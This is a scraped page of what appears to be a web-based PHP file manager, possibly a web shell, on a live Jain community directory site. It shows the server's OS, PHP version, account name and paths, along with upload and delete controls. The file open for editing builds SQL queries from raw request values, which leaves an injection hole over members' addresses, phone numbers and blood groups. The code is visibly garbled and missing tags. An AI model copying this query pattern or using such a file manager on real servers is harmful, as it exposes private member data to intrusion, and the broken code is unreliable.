Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

Apache

System:

Linux 4.18.0-553.100.1.el8_10.x86_64

PHP Version:

7.2.34

User:

jaindirectory

Directory:

/home/jaindirectory/public_html/jainsociety

Free Space:

32.43 GB

🔧 Quick Actions

✏️ Editing: search_consolidate_new.php

<?php

include 'header.php';

function get_temple(str)

{

var xmlhttp;

if (str.length==0)

{

document.getElementById("disttdivP").innerHTML="";

return;

}

if (window.XMLHttpRequest)

{

xmlhttp=new XMLHttpRequest();

}

else

{

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp.onreadystatechange=function()

{

if (xmlhttp.readyState==4 && xmlhttp.status==200)

{

document.getElementById("disttdivP").innerHTML=xmlhttp.responseText;

}

xmlhttp.open("GET","get_temple_consolidate.php?q="+str,true);

xmlhttp.send(null);

}

</script>

function get_town(str)

{

var xmlhttp;

if (str.length==0)

{

document.getElementById("disttdivPP").innerHTML="";

return;

}

if (window.XMLHttpRequest)

{

xmlhttp=new XMLHttpRequest();

}

else

{

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp.onreadystatechange=function()

{

if (xmlhttp.readyState==4 && xmlhttp.status==200)

{

document.getElementById("disttdivPP").innerHTML=xmlhttp.responseText;

}

xmlhttp.open("GET","get_town_consolidate.php?q="+str,true);

xmlhttp.send(null);

}

</script>

<style>

.space {

margin:10px;

}

</style>

<label for="email" class="lft" >Tehsil </label>

<option value="" selected="selected">Select Town</option>

<option value="ujjain">Ujjain</option>

<option value="tarana">Tarana</option>

<option value="badnagar">Badnagar</option>

<option value="mahidpur">Mahidpur</option>

<option value="khachrod">Khachrod</option>

<option value="ghatiya">Ghatiya</option>

<option value="nagda">Nagda</option>

</select>

</div>

<option value="" >Select town</option>

<!--<select onchange="show(this.value);" class="form-control" id="" name="relation_temple" >

<option>Select temple</option>

<?php //echo $data; ?>

<option value="other">Other</option>-->

</select>

</div>

<label for="email" class="lft" >Marital Status  </label>

<option value=""> Select Marital Status </option>

<option value="Single"> Single </option>

<option value="Married"> Married </option>

<option value="widow"> widow </option>

<option value="widower"> Widower </option>

<option value="Unmarried"> Unmarried </option>

<option value="Divorce"> Divorce </option>

</select>

</div>

<label for="email" class="lft" >Gender</label>

<option value="" selected="selected">Select gender</option>

<option value="Female">Female</option></select>

</div>

<label for="email" class="lft" >Income </label>

<option value="" selected="selected">Select Income</option>

<option value="10Lakh Above">10 Lakh Above</option>

</select>

</div>

<label for="email" class="lft" >Blood Group </label>

<option value="" selected="selected">Select Blood Group</option>

</select>

</div>

<label for="email" class="lft" >Proffession </label>

<option value="" selected="selected">Select Profession </option>

<option value="Student" >Student</option>

<option value="agriculture">Agriculture</option>

<option value="business">Business</option>

<option value="professional">Professional</option>

<option value="doctor">Doctor</option>

<option value="engineer">Engineer</option>

<option value="advocate">Advocate</option>

<option value="consultant">Consultant</option>

<option value="service_govt">Service(Govt)</option>

<option value="service_private">Service(Private)</option>

<option value="Housemaker">Housemaker</option>

<option value="Retired">Retired</option>

<option value="Other">Other</option>

</select>

</div>

<label for="email" class="lft" >Temple </label>

<option value="" selected="selected">Select temple</option>

</select>

</div>

<!--<div class="form-group" id="disttdivPp">

<option value="" selected="selected">Select zone</option>

</select>

</div>

</div> -->

</div>

<br>

</div>

</form>

<?php

if(isset($_REQUEST['submit'])) {

$temple=$_REQUEST['relation_temple'];

$profession=$_REQUEST['profession'];

$blood_group=$_REQUEST['blood_group'];

$income=$_REQUEST['income'];

$tehsil=$_REQUEST['tehsil'];

$town=$_REQUEST['town'];

$gender=$_REQUEST['gender'];

$mariatal_status=$_REQUEST['mariatal_status'];

$te="select * from member as m join member_info as i on m.id=i.member_id where 1";

if($temple!='')

{

$te.=" and m.relation_temple='$temple'";

}

if($profession!='' || $blood_group!='' || $gender!='' || $mariatal_status!='') {

if($profession!='')

{

$te.=" and i.profession='$profession'";

}

if($blood_group!='')

{

$te.=" and i.blood_group='$blood_group'";

}

if($gender!='')

{

$te.=" and i.gender='$gender'";

}

if($mariatal_status!='')

{

$te.=" and i.mariatal_status='$mariatal_status'";

}

} else {

$te.=" and relation='self'";

}

if($income!='')

{

$te.=" and m.income='$income'";

}

if($tehsil!='')

{

$te.=" and m.tehsil='$tehsil'";

}

if($town!='')

{

$te.=" and m.town='$town'";

}

$te;

$temp = $crud->getAllData($te);

<h3 class="text-center"><strong>Consolidate List</strong></h3>

</div>

<button type="submit" class="btn btn-success pull-left">Export CSV</button>

</div>

</form>

<thead>

<tr>

<th>Blood Group</th>

<th>Temple</th>

<th>Address</th>

<th>Mobile No</th>

</tr>

</thead>

<tbody>

<?php

$i = 1;

foreach($temp as $row1){

$query1 = "select * from `temple` where `id`='".$row1['relation_temple']."' ";

$result1 = $crud->getSingleRow($query1);

<tr>

<td><?php

# object oriented

$from = new DateTime($row1['dob']);

$to   = new DateTime('today'); ?>

<?php echo $from->diff($to)->y; ?>

</td>

</tr>

<?php $i++; }

}

</tbody>

</table>

</div>

$(document).ready(function(){

$('#testtable').DataTable({

dom: 'Bfrtip',

buttons: [

'copy', 'csv', 'excel', 'pdf', 'print'

]

});

</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: search_consolidate_new.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation